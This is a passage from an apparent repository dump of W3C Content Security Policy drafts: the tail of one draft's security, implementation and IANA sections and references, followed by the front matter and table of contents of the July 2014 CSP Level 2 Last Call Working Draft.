title=\"SHOULD\">SHOULD</em> defend against both attacks using the same\n        mechanism: stricter CSS parsing rules for style sheets with improper\n        MIME types.</p>\n      </section>\n      <section id=\"violation-reports\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_violation-reports\"><span class=\"secno\">3.2.7.2 </span>Violation Reports</h5>\n\n        <p>The violation reporting mechanism in this document has been\n        designed to mitigate the risk that a malicious web site could use\n        violation reports to probe the behavior of other servers. For example,\n        consider a malicious web site that white lists <code>https://example.com</code>\n        as a source of images. If the malicious site attempts to load\n        <code>https://example.com/login</code> as an image, and the\n        <code>example.com</code> server redirects to an identity provider (e.g.,\n        <code>idenityprovider.example.net</code>), CSP will block the request.\n        If violation reports contained the full blocked URI, the violation\n        report might contain sensitive information contained in the redirected URI,\n        such as session identifiers or purported identities. For this reason, the\n        user agent includes only the origin of the blocked URI.</p>\n      </section>\n    </section>\n    <section id=\"implementation-considerations\">\n      <h4 aria-level=\"3\" role=\"heading\" id=\"h4_implementation-considerations\"><span class=\"secno\">3.2.8 </span>Implementation Considerations</h4>\n\n      <p>The <code>Content-Security-Policy</code> header is an end-to-end\n      header.  It is processed and enforced at the client and, therefore,\n      <em class=\"rfc2119\" title=\"SHOULD NOT\">SHOULD NOT</em> be modified or removed by proxies or other intermediaries not\n      in the same administrative domain as the resource.</p>\n\n      <p>The originating administrative domain for a resource might wish to\n      apply a <code>Content-Security-Policy</code> header outside of the\n      immediate context of an application.  For example, a large organization\n      might have many resources and applications managed by different\n      individuals or teams but all subject to a uniform organizational\n      standard. In such situations, a <code>Content-Security-Policy</code>\n      header might be added or combined with an existing one at a network-edge\n      security gateway device or web application firewall.  To enforce multiple\n      policies, the administrator <em class=\"rfc2119\" title=\"SHOULD\">SHOULD</em> combine the policy into a single header.\n      An administrator might wish to use different combination algorithms\n      depending on his or her intended semantics.</p>\n\n      <p>One sensible policy combination algorithm is to start by allowing a\n      default set of sources and then letting individual upstream resource\n      owners expand the set of allowed sources by including additional origins.\n      In this approach, the resultant policy is the union of all allowed\n      origins in the input policies.</p>\n\n      <p>Another sensible policy combination algorithm is to intersect the\n      given policies.  This approach enforces that content comes from a certain\n      whitelist of origins, for example, preventing developers from including\n      third-party scripts or content in violation of organizational standards\n      and practices.  In this approach, the combination algorithm forms the\n      combined policy by removing disallowed hosts from the policies supplied\n      by upstream resource owners.</p>\n\n      <p>Interactions between the <code>default-src</code> and other directives\n      <em class=\"rfc2119\" title=\"SHOULD\">SHOULD</em> be given special consideration when combining policies.  If none\n      of the policies contains a <code>default-src</code> directive, adding new\n      src directives results in a more restrictive policy.  However, if one or\n      more of the input policies contain a <code>default-src</code> directive,\n      adding new src directives might result in a less restrictive policy, for\n      example, if the more specific directive contains a more permissive set of\n      allowed origins.</p>\n\n      <p>Using a more restrictive policy than the input policy authored by the\n      resource owner might prevent the resource from rendering or operating as\n      intended.</p>\n\n      <p>Note also that migration to <code>HTTPS</code> from <code>HTTP</code>\n      may require updates to the policy in order to keep things running as\n      before. Source expressions like <code>http://example.com</code> do\n      <em>not</em> match <code>HTTPS</code> resources. For example,\n      administrators <em class=\"rfc2119\" title=\"SHOULD\">SHOULD</em> carefully examine existing policies before rolling\n      out <a href=\"http://tools.ietf.org/html/rfc6797\">HTTP Strict Transport Security</a>\n      headers for an application.</p>\n    </section>\n    <section id=\"iana-considerations\">\n      <h4 aria-level=\"3\" role=\"heading\" id=\"h4_iana-considerations\"><span class=\"secno\">3.2.9 </span>IANA Considerations</h4>\n\n      <p>The permanent message header field registry (see [<a href=\"http://tools.ietf.org/html/rfc3864\">RFC3864</a>]) should be updated\n      with the following registrations:</p>\n\n      <section id=\"content-security-policy\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_content-security-policy\"><span class=\"secno\">3.2.9.1 </span>Content-Security-Policy</h5>\n\n        <p>Header field name: Content-Security-Policy</p>\n\n        <p>Applicable protocol: http</p>\n\n        <p>Status: standard</p>\n\n        <p>Author/Change controller: <abbr title=\"World Wide Web Consortium\">W3C</abbr></p>\n\n        <p>Specification document: this specification (See <a href=\"#content-security-policy-header-field\"><code>Content-Security-Policy</code>\n        Header Field</a>)</p>\n      </section>\n\n      <section id=\"content-security-policy-report-only\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_content-security-policy-report-only\"><span class=\"secno\">3.2.9.2 </span>Content-Security-Policy-Report-Only</h5>\n\n        <p>Header field name: Content-Security-Policy-Report-Only</p>\n\n        <p>Applicable protocol: http</p>\n\n        <p>Status: standard</p>\n\n        <p>Author/Change controller: <abbr title=\"World Wide Web Consortium\">W3C</abbr></p>\n\n        <p>Specification document: this specification (See <a href=\"#content-security-policy-report-only-header-field\"><code>Content-Security-Policy-Report-Only</code>\n        Header Field</a>)</p>\n      </section>\n    </section>\n  \n\n</section></section><section id=\"references\" class=\"appendix\" typeof=\"bibo:Chapter\" resource=\"#ref\" rel=\"bibo:Chapter\"><!--OddPage--><h2 aria-level=\"1\" role=\"heading\" id=\"h2_references\"><span class=\"secno\">A. </span>References</h2><section id=\"normative-references\" typeof=\"bibo:Chapter\" resource=\"#ref\" rel=\"bibo:Chapter\"><h3 aria-level=\"2\" role=\"heading\" id=\"h3_normative-references\"><span class=\"secno\">A.1 </span>Normative references</h3><dl class=\"bibliography\" about=\"\"><dt id=\"bib-ABNF\">[ABNF]</dt><dd rel=\"dcterms:requires\">D. Crocker; P. Overell. <a href=\"http://www.ietf.org/rfc/rfc5234.txt\"><cite>Augmented BNF for Syntax Specifications: ABNF</cite></a>. January 2008. STD. URL: <a href=\"http://www.ietf.org/rfc/rfc5234.txt\">http://www.ietf.org/rfc/rfc5234.txt</a>\n</dd><dt id=\"bib-CSSOM\">[CSSOM]</dt><dd rel=\"dcterms:requires\">Simon Pieters; Glenn Adams. <a href=\"http://www.w3.org/TR/cssom/\"><cite>CSS Object Model (CSSOM)</cite></a>. 5 December 2013. W3C Working Draft. URL: <a href=\"http://www.w3.org/TR/cssom/\">http://www.w3.org/TR/cssom/</a>\n</dd><dt id=\"bib-DOM4\">[DOM4]</dt><dd rel=\"dcterms:requires\">Anne van Kesteren; Aryeh Gregor; Ms2ger; Alex Russell; Robin Berjon. <a href=\"http://www.w3.org/TR/dom/\"><cite>W3C DOM4</cite></a>. 7 November 2013. W3C Working Draft. URL: <a href=\"http://www.w3.org/TR/dom/\">http://www.w3.org/TR/dom/</a>\n</dd><dt id=\"bib-ECMA-262\">[ECMA-262]</dt><dd rel=\"dcterms:requires\"><a href=\"http://www.ecma-international.org/publications/standards/Ecma-262.htm\"><cite>ECMAScript Language Specification, Edition 5.1</cite></a>. June 2011. URL: <a href=\"http://www.ecma-international.org/publications/standards/Ecma-262.htm\">http://www.ecma-international.org/publications/standards/Ecma-262.htm</a>\n</dd><dt id=\"bib-HTML5\">[HTML5]</dt><dd rel=\"dcterms:requires\">Robin Berjon; Steve Faulkner; Travis Leithead; Erika Doyle Navara; Edward O'Connor; Silvia Pfeiffer. <a href=\"http://www.w3.org/TR/html5/\"><cite>HTML5</cite></a>. 6 August 2013. W3C Candidate Recommendation. URL: <a href=\"http://www.w3.org/TR/html5/\">http://www.w3.org/TR/html5/</a>\n</dd><dt id=\"bib-HTTP11\">[HTTP11]</dt><dd rel=\"dcterms:requires\">R. Fielding et al. <a href=\"http://www.ietf.org/rfc/rfc2616.txt\"><cite>Hypertext Transfer Protocol - HTTP/1.1</cite></a>. June 1999. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc2616.txt\">http://www.ietf.org/rfc/rfc2616.txt</a>\n</dd><dt id=\"bib-RFC2119\">[RFC2119]</dt><dd rel=\"dcterms:requires\">S. Bradner. <a href=\"http://www.ietf.org/rfc/rfc2119.txt\"><cite>Key words for use in RFCs to Indicate Requirement Levels.</cite></a> March 1997. Internet RFC 2119.  URL: <a href=\"http://www.ietf.org/rfc/rfc2119.txt\">http://www.ietf.org/rfc/rfc2119.txt</a> \n</dd><dt id=\"bib-RFC3492\">[RFC3492]</dt><dd rel=\"dcterms:requires\">Adam M. Costello. <a href=\"http://tools.ietf.org/html/rfc3492\"><cite>Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA)</cite></a>. PROPOSED STANDARD. URL: <a href=\"http://tools.ietf.org/html/rfc3492\">http://tools.ietf.org/html/rfc3492</a>\n</dd><dt id=\"bib-RFC4627\">[RFC4627]</dt><dd rel=\"dcterms:requires\">D. Crockford. <a href=\"http://www.ietf.org/rfc/rfc4627.txt\"><cite>The application/json Media Type for JavaScript Object Notation (JSON) (RFC 4627)</cite></a>. July 2006. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc4627.txt\">http://www.ietf.org/rfc/rfc4627.txt</a>\n</dd><dt id=\"bib-RFC6454\">[RFC6454]</dt><dd rel=\"dcterms:requires\">A. Barth. <a href=\"http://www.ietf.org/rfc/rfc6454.txt\"><cite>The Web Origin Concept</cite></a>. December 2011. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc6454.txt\">http://www.ietf.org/rfc/rfc6454.txt</a>\n</dd><dt id=\"bib-RFC7034\">[RFC7034]</dt><dd rel=\"dcterms:requires\">David Ross; Tobias Gondrom; Thames Stanley. <a href=\"http://tools.ietf.org/html/rfc7034\"><cite>HTTP Header Field X-Frame-Options</cite></a>. INFORMATIONAL. URL: <a href=\"http://tools.ietf.org/html/rfc7034\">http://tools.ietf.org/html/rfc7034</a>\n</dd><dt id=\"bib-URI\">[URI]</dt><dd rel=\"dcterms:requires\">T. Berners-Lee; R. Fielding; L. Masinter. <a href=\"http://www.ietf.org/rfc/rfc3986.txt\"><cite>Uniform Resource Identifiers (URI): generic syntax</cite></a>. January 2005. RFC 3986. URL: <a href=\"http://www.ietf.org/rfc/rfc3986.txt\">http://www.ietf.org/rfc/rfc3986.txt</a>\n</dd><dt id=\"bib-WEBIDL\">[WEBIDL]</dt><dd rel=\"dcterms:requires\">Cameron McCormack. <a href=\"http://www.w3.org/TR/WebIDL/\"><cite>Web IDL</cite></a>. 19 April 2012. W3C Candidate Recommendation. URL: <a href=\"http://www.w3.org/TR/WebIDL/\">http://www.w3.org/TR/WebIDL/</a>\n</dd><dt id=\"bib-WEBWORKERS\">[WEBWORKERS]</dt><dd rel=\"dcterms:requires\">Ian Hickson. <a href=\"http://www.w3.org/TR/workers/\"><cite>Web Workers</cite></a>. 1 May 2012. W3C Candidate Recommendation. URL: <a href=\"http://www.w3.org/TR/workers/\">http://www.w3.org/TR/workers/</a>\n</dd><dt id=\"bib-XML11\">[XML11]</dt><dd rel=\"dcterms:requires\">Tim Bray; Jean Paoli; Michael Sperberg-McQueen; Eve Maler; François Yergeau; John Cowan et al. <a href=\"http://www.w3.org/TR/xml11/\"><cite>Extensible Markup Language (XML) 1.1 (Second Edition)</cite></a>. 16 August 2006. W3C Recommendation. URL: <a href=\"http://www.w3.org/TR/xml11/\">http://www.w3.org/TR/xml11/</a>\n</dd><dt id=\"bib-XMLHttpRequest\">[XMLHttpRequest]</dt><dd rel=\"dcterms:requires\">Julian Aubourg; Jungkee Song; Hallvord Steen et al. <a href=\"http://www.w3.org/TR/XMLHttpRequest/\"><cite>XMLHttpRequest</cite></a>. 6 December 2012. W3C Working Draft. URL: <a href=\"http://www.w3.org/TR/XMLHttpRequest/\">http://www.w3.org/TR/XMLHttpRequest/</a>\n</dd><dt id=\"bib-XSLT\">[XSLT]</dt><dd rel=\"dcterms:requires\">James Clark. <a href=\"http://www.w3.org/TR/xslt\"><cite>XSL Transformations (XSLT) Version 1.0</cite></a>. 16 November 1999. W3C Recommendation. URL: <a href=\"http://www.w3.org/TR/xslt\">http://www.w3.org/TR/xslt</a>\n</dd><dt id=\"bib-css-fonts-3\">[css-fonts-3]</dt><dd rel=\"dcterms:requires\">John Daggett. <a href=\"http://www.w3.org/TR/css-fonts-3/\"><cite>CSS Fonts Module Level 3</cite></a>. 3 October 2013. W3C Candidate Recommendation. URL: <a href=\"http://www.w3.org/TR/css-fonts-3/\">http://www.w3.org/TR/css-fonts-3/</a>\n</dd><dt id=\"bib-eventsource\">[eventsource]</dt><dd rel=\"dcterms:requires\">Ian Hickson. <a href=\"http://www.w3.org/TR/eventsource/\"><cite>Server-Sent Events</cite></a>. 11 December 2012. W3C Candidate Recommendation. URL: <a href=\"http://www.w3.org/TR/eventsource/\">http://www.w3.org/TR/eventsource/</a>\n</dd><dt id=\"bib-html-imports\">[html-imports]</dt><dd rel=\"dcterms:requires\">Dimitri Glazkov. <a href=\"http://www.w3.org/TR/html-imports/\"><cite>HTML Imports</cite></a>. 14 May 2013. W3C Working Draft. URL: <a href=\"http://www.w3.org/TR/html-imports/\">http://www.w3.org/TR/html-imports/</a>\n</dd><dt id=\"bib-websockets\">[websockets]</dt><dd rel=\"dcterms:requires\">Ian Hickson. <a href=\"http://www.w3.org/TR/websockets/\"><cite>The WebSocket API</cite></a>. 20 September 2012. W3C Candidate Recommendation. URL: <a href=\"http://www.w3.org/TR/websockets/\">http://www.w3.org/TR/websockets/</a>\n</dd></dl></section><section id=\"informative-references\" typeof=\"bibo:Chapter\" resource=\"#ref\" rel=\"bibo:Chapter\"><h3 aria-level=\"2\" role=\"heading\" id=\"h3_informative-references\"><span class=\"secno\">A.2 </span>Informative references</h3><dl class=\"bibliography\" about=\"\"><dt id=\"bib-UIREDRESS\">[UIREDRESS]</dt><dd rel=\"dcterms:references\">Giorgio Maone; David Lin-Shung Huang; Tobias Gondrom; Brad Hill. <a href=\"https://dvcs.w3.org/hg/user-interface-safety/raw-file/tip/user-interface-safety.html\"><cite>User Interface Security Directives for Content Security Policy</cite></a>. Working Draft. URL: <a href=\"https://dvcs.w3.org/hg/user-interface-safety/raw-file/tip/user-interface-safety.html\">https://dvcs.w3.org/hg/user-interface-safety/raw-file/tip/user-interface-safety.html</a>\n</dd></dl></section></section></body></html>\n"
  },
  {
    "path": "published/2014-07-03-CSP-2-LCWD.html",
    "content": "<!DOCTYPE html><html lang=en><head>\n  <meta content=\"text/html; charset=utf-8\" http-equiv=Content-Type>\n  <title>Content Security Policy Level 2</title>\n  <link href=./default.css rel=stylesheet type=text/css>\n  <link href=https://www.w3.org/StyleSheets/TR/W3C-LC rel=stylesheet type=text/css>\n<style>\n      table {\n        text-align: left;\n        margin: 20px;\n        width: 100%;\n        border-collapse: collapse;\n      }\n\n      tbody tr:nth-child(odd) {\n        background-color: #EEE;\n      }\n\n      th {\n        border-bottom: 1px solid #999;\n        padding: 0.5em;\n      }\n\n      td:first-child {\n        width: 30%;\n        padding-right: 1em;\n      }\n\n      td {\n        vertical-align: top;\n        padding: 0.5em;\n      }\n\n      tbody th {\n        border: 0;\n        background-color: #FFF;\n      }\n\n      tr.section {\n        border-top: 1px solid #999;\n        vertical-align: top;\n      }\n    </style>\n\n    </head>\n<body class=h-entry>\n<div class=head>\n  <p data-fill-with=logo><a class=logo href=http://www.w3.org/>\n    <img alt=W3C height=48 src=https://www.w3.org/Icons/w3c_home width=72>\n</a>\n</p>\n  <h1 class=\"p-name no-ref\" id=title>Content Security Policy Level 2</h1>\n  <h2 class=\"no-num no-toc no-ref heading settled heading\" id=subtitle><span class=content>W3C Last Call Working Draft,\n    <span class=dt-updated><span class=value-title title=20140703>03 July 2014</span></span></span></h2>\n  <div data-fill-with=spec-metadata><dl><dt>Feedback:<dd><a href=\"mailto:public-webappsec@w3.org?subject=%5BCSP%5D%20feedback\">public-webappsec@w3.org</a>\n            with subject line\n            “<kbd>[CSP] <var>… message topic …</var></kbd>”(<a U00027=\"\" href=http://lists.w3.org/Archives/Public/public-webappsec/ rel=discussion>archives</a>)<dt>Editor’s Draft:<dd><a href=https://w3c.github.io/webappsec/specs/content-security-policy/>https://w3c.github.io/webappsec/specs/content-security-policy/</a><dt>Former Editors:<dd><dd class=\"p-author h-card vcard\"><a class=\"p-name fn u-email email\" href=mailto:brandon@hackmill.com>Brandon Sterne</a> (<span class=\"p-org org\">formerly of Mozilla Corporation</span>)<dt>Editors:<dd><dd class=\"p-author h-card vcard\"><a class=\"p-name fn u-email email\" href=mailto:mkwst@google.com>Mike West</a> (<span class=\"p-org org\">Google Inc.</span>)<dd><dd class=\"p-author h-card vcard\"><a class=\"p-name fn u-email email\" href=mailto:w3c@adambarth.com>Adam Barth</a> (<span class=\"p-org org\">Google Inc.</span>)<dd><dd class=\"p-author h-card vcard\"><a class=\"p-name fn u-email email\" href=mailto:dveditz@mozilla.com>Dan Veditz</a> (<span class=\"p-org org\">Mozilla Corporation</span>)<dt>Latest version:<dd><a href=http://www.w3c.org/TR/CSP/>http://www.w3c.org/TR/CSP/</a><dt>This version:<dd><a class=u-url href=http://www.w3.org/TR/2014/WD-CSP-2-20140703/>http://www.w3.org/TR/2014/WD-CSP-2-20140703/</a></dl></div>\n  <div data-fill-with=warning></div>\n  <p class=copyright data-fill-with=copyright><a href=http://www.w3.org/Consortium/Legal/ipr-notice#Copyright>Copyright</a> © 2014\n  <a href=http://www.w3.org/><abbr title=\"World Wide Web Consortium\">W3C</abbr></a><sup>®</sup>\n  (<a href=http://www.csail.mit.edu/><abbr title=\"Massachusetts Institute of Technology\">MIT</abbr></a>,\n  <a href=http://www.ercim.eu/><abbr title=\"European Research Consortium for Informatics and Mathematics\">ERCIM</abbr></a>,\n  <a href=http://www.keio.ac.jp/>Keio</a>, <a href=http://ev.buaa.edu.cn/>Beihang</a>),\n\n  All Rights Reserved.\n\n  <abbr title=\"World Wide Web Consortium\">W3C</abbr> <a href=http://www.w3.org/Consortium/Legal/ipr-notice#Legal_Disclaimer>liability</a>,\n  <a href=http://www.w3.org/Consortium/Legal/ipr-notice#W3C_Trademarks>trademark</a> and\n\n  <a href=http://www.w3.org/Consortium/Legal/copyright-documents>document use</a>\n  rules apply.\n</p>\n  <hr title=\"Separator for header\">\n</div>\n\n<h2 class=\"no-num no-toc no-ref heading settled heading\" id=abstract><span class=content>Abstract</span></h2>\n<p class=p-summary data-fill-with=abstract><p>This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.</p>\n\n</p>\n\n<h2 class=\"no-num no-toc no-ref heading settled heading\" id=status><span class=content>Status of this document</span></h2>\n<div data-fill-with=status><p>\n  <em>This section describes the status of this document at the time of\n  its publication. Other documents may supersede this document. A list of\n  current W3C publications and the latest revision of this technical report\n  can be found in the <a href=http://www.w3.org/TR/>W3C technical reports\n  index at http://www.w3.org/TR/.</a></em>\n\n<p>\n  This document was published by the\n  <a href=http://www.w3.org/2011/webappsec/>Web Application Security Working Group</a>\n  as a Working Draft. This document is intended to become a W3C Recommendation. \n\n<p>\n\tThe (<a href=http://lists.w3.org/Archives/Public/public-webappsec/>archived</a>) public mailing list\n\t<a href=\"mailto:public-webappsec@w3.org?Subject=%5BCSP%5D%20PUT%20SUBJECT%20HERE\">public-webappsec@w3.org</a>\n\t(see <a href=http://www.w3.org/Mail/Request>instructions</a>)\n\tis preferred for discussion of this specification.\n\tWhen sending e-mail,\n\tplease put the text “CSP” in the subject,\n\tpreferably like this:\n\t“[CSP] <em>…summary of comment…</em>”\n  \n<p>\n  Publication as a Last Call Working Draft does not imply endorsement by the W3C\n  Membership. This is a draft document and may be updated, replaced or\n  obsoleted by other documents at any time. It is inappropriate to cite this\n  document as other than work in progress.\n\n<p>\n\tThis document was produced by the\n  <a href=http://www.w3.org/2011/webappsec/>Web Application Security Working Group</a>.\n\n<p>\n\tThis document was produced by a group operating under\n\tthe <a href=http://www.w3.org/Consortium/Patent-Policy-20040205/>5 February 2004 W3C Patent Policy</a>.\n\tW3C maintains a <a href=http://www.w3.org/2004/01/pp-impl/32061/status rel=disclosure>public list of any patent disclosures</a>\n\tmade in connection with the deliverables of the group;\n\tthat page also includes instructions for disclosing a patent.\n\tAn individual who has actual knowledge of a patent which the individual believes contains <a href=http://www.w3.org/Consortium/Patent-Policy-20040205/#def-essential>Essential Claim(s)</a>\n\tmust disclose the information in accordance with <a href=http://www.w3.org/Consortium/Patent-Policy-20040205/#sec-Disclosure>section 6 of the W3C Patent Policy</a>.\n\n<p>\n  This specification is a <strong>Last Call Working Draft</strong>. All\n  persons are encouraged to review this document and <strong>send comments\n  to the <a href=http://lists.w3.org/Archives/Public/public-webappsec/>public-webappsec</a>\n  mailing list</strong> as described above. The <strong>deadline for\n  comments</strong> is <strong>13 August 2014</strong>.\n</div>\n<div data-fill-with=at-risk><p>The following features are at-risk, and may be dropped during the CR period:\n<ul><li>The <a data-link-type=dfn href=#referrer title=referrer>referrer</a> directive.<li>The <a data-link-type=dfn href=#reflected-xss title=reflected-xss>reflected-xss</a> directive.</ul></div>\n\n<h2 class=\"no-num no-toc no-ref heading settled heading\" id=contents><span class=content>Table of Contents</span></h2>\n<div data-fill-with=table-of-contents><ul class=toc>\n\t<li><a href=#intro><span class=secno>1</span>Introduction</a>\n\t<li><a href=#key-concepts><span class=secno>2</span>Key Concepts and Terminology</a>\n\t<li><a href=#policy-delivery><span class=secno>3</span>Policy Delivery</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#content-security-policy-header-field><span class=secno>3.1</span>       <code>Content-Security-Policy</code> Header Field     </a>\n\t\t<li><a href=#content-security-policy-report-only-header-field><span class=secno>3.2</span>       <code>Content-Security-Policy-Report-Only</code> Header Field     </a>\n\t\t<li><a href=#delivery-html-meta-element><span class=secno>3.3</span>       HTML <code><span data-link-type=element title=meta>meta</span></code> Element     </a>\n\t\t<li><a href=#ch-csp-client-hint><span class=secno>3.4</span>The <code>CH-CSP</code> Client Hint</a>\n\t\t<li><a href=#enforcing-multiple-policies><span class=secno>3.5</span>Enforcing multiple policies.</a>\n\t\t<li><a href=#which-policy-applies><span class=secno>3.6</span>Policy applicability</a></ul>\n\t<li><a href=#syntax-and-algorithms><span class=secno>4</span>Syntax and Algorithms</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#policy-syntax><span class=secno>4.1</span>Policy Syntax</a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#policy-parsing><span class=secno>4.1.1</span>Parsing Policies</a></ul>\n\t\t<li><a href=#source-list-syntax><span class=secno>4.2</span>Source List Syntax</a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#source-list-parsing><span class=secno>4.2.1</span>Parsing Source Lists</a>\n\t\t\t<li><a href=#match-source-expression><span class=secno>4.2.2</span>Matching Source Expressions</a>\n\t\t\t\t<ul class=toc>\n\t\t\t\t<li><a href=#source-list-guid-matching><span class=secno>4.2.2.1</span>           Security Considerations for GUID URI schemes         </a>\n\t\t\t\t<li><a href=#source-list-path-patching><span class=secno>4.2.2.2</span>Path Matching</a>\n\t\t\t\t<li><a href=#source-list-paths-and-redirects><span class=secno>4.2.2.3</span>Paths and Redirects</a></ul>\n\t\t\t<li><a href=#script-src-the-nonce-attribute><span class=secno>4.2.3</span>         The <code>nonce</code> attribute       </a>\n\t\t\t<li><a href=#source-list-valid-nonces><span class=secno>4.2.4</span>Valid Nonces</a>\n\t\t\t<li><a href=#source-list-valid-hashes><span class=secno>4.2.5</span>Valid Hashes</a></ul>\n\t\t<li><a href=#media-type-list><span class=secno>4.3</span>Media Type List</a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#media-type-list-parsing><span class=secno>4.3.1</span>Parsing</a>\n\t\t\t<li><a href=#media-type-list-matching><span class=secno>4.3.2</span>Matching</a></ul>\n\t\t<li><a href=#violation-reports><span class=secno>4.4</span>Reporting</a></ul>\n\t<li><a href=#processing-model><span class=secno>5</span>Processing Model</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#processing-model-workers><span class=secno>5.1</span>Workers</a>\n\t\t<li><a href=#processing-model-iframe-srcdoc><span class=secno>5.2</span><code>srcdoc</code> IFrames</a></ul>\n\t<li><a href=#script-interfaces><span class=secno>6</span>Script Interfaces</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#securitypolicyviolationevent-interface><span class=secno>6.1</span>       <code>SecurityPolicyViolationEvent</code> Interface     </a>\n\t\t<li><a href=#securitypolicyviolationeventinit-interface><span class=secno>6.2</span>       <code>SecurityPolicyViolationEventInit</code> Interface     </a>\n\t\t<li><a href=#firing-securitypolicyviolationevent-events><span class=secno>6.3</span>Firing Violation Events</a></ul>\n\t<li><a href=#sec-directives><span class=secno>7</span>Directives</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#directive-base-uri><span class=secno>7.1</span><code>base-uri</code></a>\n\t\t<li><a href=#directive-child-src><span class=secno>7.2</span><code>child-src</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#directive-child-src-nested><span class=secno>7.2.1</span>Nested Browsing Contexts</a>\n\t\t\t<li><a href=#directive-child-src-workers><span class=secno>7.2.2</span>Workers</a></ul>\n\t\t<li><a href=#directive-connect-src><span class=secno>7.3</span><code>connect-src</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#connect-src-usage><span class=secno>7.3.1</span>Usage</a></ul>\n\t\t<li><a href=#directive-default-src><span class=secno>7.4</span><code>default-src</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#default-src-usage><span class=secno>7.4.1</span>Usage</a></ul>\n\t\t<li><a href=#directive-font-src><span class=secno>7.5</span><code>font-src</code></a>\n\t\t<li><a href=#directive-form-action><span class=secno>7.6</span><code>form-action</code></a>\n\t\t<li><a href=#directive-frame-ancestors><span class=secno>7.7</span><code>frame-ancestors</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#frame-ancestors-and-frame-options><span class=secno>7.7.1</span>         Relation to <code>X-Frame-Options</code>       </a>\n\t\t\t<li><a href=#frame-ancestors-multiple-source-values><span class=secno>7.7.2</span>Multiple Host Source Values</a></ul>\n\t\t<li><a href=#directive-frame-src><span class=secno>7.8</span><code>frame-src</code></a>\n\t\t<li><a href=#directive-img-src><span class=secno>7.9</span><code>img-src</code></a>\n\t\t<li><a href=#directive-media-src><span class=secno>7.10</span><code>media-src</code></a>\n\t\t<li><a href=#directive-object-src><span class=secno>7.11</span><code>object-src</code></a>\n\t\t<li><a href=#directive-plugin-types><span class=secno>7.12</span><code>plugin-types</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#plugin-types-usage><span class=secno>7.12.1</span>Usage</a>\n\t\t\t<li><a href=#plugin-types-predeclaration><span class=secno>7.12.2</span>         Predeclaration of expected media types       </a></ul>\n\t\t<li><a href=#directive-referrer><span class=secno>7.13</span><code>referrer</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#referrer-multiple-policies><span class=secno>7.13.1</span>Processing multiple referrer policies</a>\n\t\t\t\t<ul class=toc>\n\t\t\t\t<li><a href=#referrer-usage><span class=secno>7.13.1.1</span>Usage</a></ul></ul>\n\t\t<li><a href=#directive-reflected-xss><span class=secno>7.14</span><code>reflected-xss</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#reflected-xss-and-x-xss-protection><span class=secno>7.14.1</span>         Relationship to <code>X-XSS-Protection</code>       </a></ul>\n\t\t<li><a href=#directive-report-uri><span class=secno>7.15</span><code>report-uri</code></a>\n\t\t<li><a href=#directive-sandbox><span class=secno>7.16</span><code>sandbox</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#sandbox-usage><span class=secno>7.16.1</span>Usage</a></ul>\n\t\t<li><a href=#directive-script-src><span class=secno>7.17</span><code>script-src</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#script-src-nonce-usage><span class=secno>7.17.1</span>         Nonce usage for <code><span data-link-type=element title=script>script</span></code> elements       </a>\n\t\t\t<li><a href=#script-src-hash-usage><span class=secno>7.17.2</span>         Hash usage for <code><span data-link-type=element title=script>script</span></code> elements       </a></ul>\n\t\t<li><a href=#directive-style-src><span class=secno>7.18</span><code>style-src</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#style-src-nonce-usage><span class=secno>7.18.1</span>         Nonce usage for <code><span data-link-type=element title=style>style</span></code> elements       </a>\n\t\t\t<li><a href=#style-src-hash-usage><span class=secno>7.18.2</span>         Hash usage for <code><span data-link-type=element title=style>style</span></code> elements       </a></ul></ul>\n\t<li><a href=#examples><span class=secno>8</span>Examples</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#example-policies><span class=secno>8.1</span>Sample Policy Definitions</a>\n\t\t<li><a href=#example-violation-report><span class=secno>8.2</span>Sample Violation Report</a></ul>\n\t<li><a href=#security-considerations><span class=secno>9</span>Security Considerations</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#security-css-parsing><span class=secno>9.1</span>Cascading Style Sheet (CSS) Parsing</a>\n\t\t<li><a href=#security-violation-reports><span class=secno>9.2</span>Violation Reports</a></ul>\n\t<li><a href=#implementation-considerations><span class=secno>10</span>Implementation Considerations</a>\n\t<li><a href=#iana-considerations><span class=secno>11</span>IANA Considerations</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#iana-content-security-policy><span class=secno>11.1</span>Content-Security-Policy</a>\n\t\t<li><a href=#iana-content-security-policy-report-only><span class=secno>11.2</span>Content-Security-Policy-Report-Only</a>\n\t\t<li><a href=#iana-ch-csp><span class=secno>11.3</span>CH-CSP</a></ul>\n\t<li><a href=#acknowledgements><span class=secno>12</span>Acknowledgements</a>\n\t<li><a href=#conformance><span class=secno></span>Conformance</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#conventions><span class=secno></span>Document conventions</a>\n\t\t<li><a href=#conformant-algorithms><span class=secno></span>Conformant Algorithms</a>\n\t\t<li><a href=#conformance-classes><span class=secno></span>Conformance Classes</a></ul>\n\t<li><a href=#references><span class=secno></span> References</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#normative><span class=secno></span> Normative References</a>\n\t\t<li><a href=#informative><span 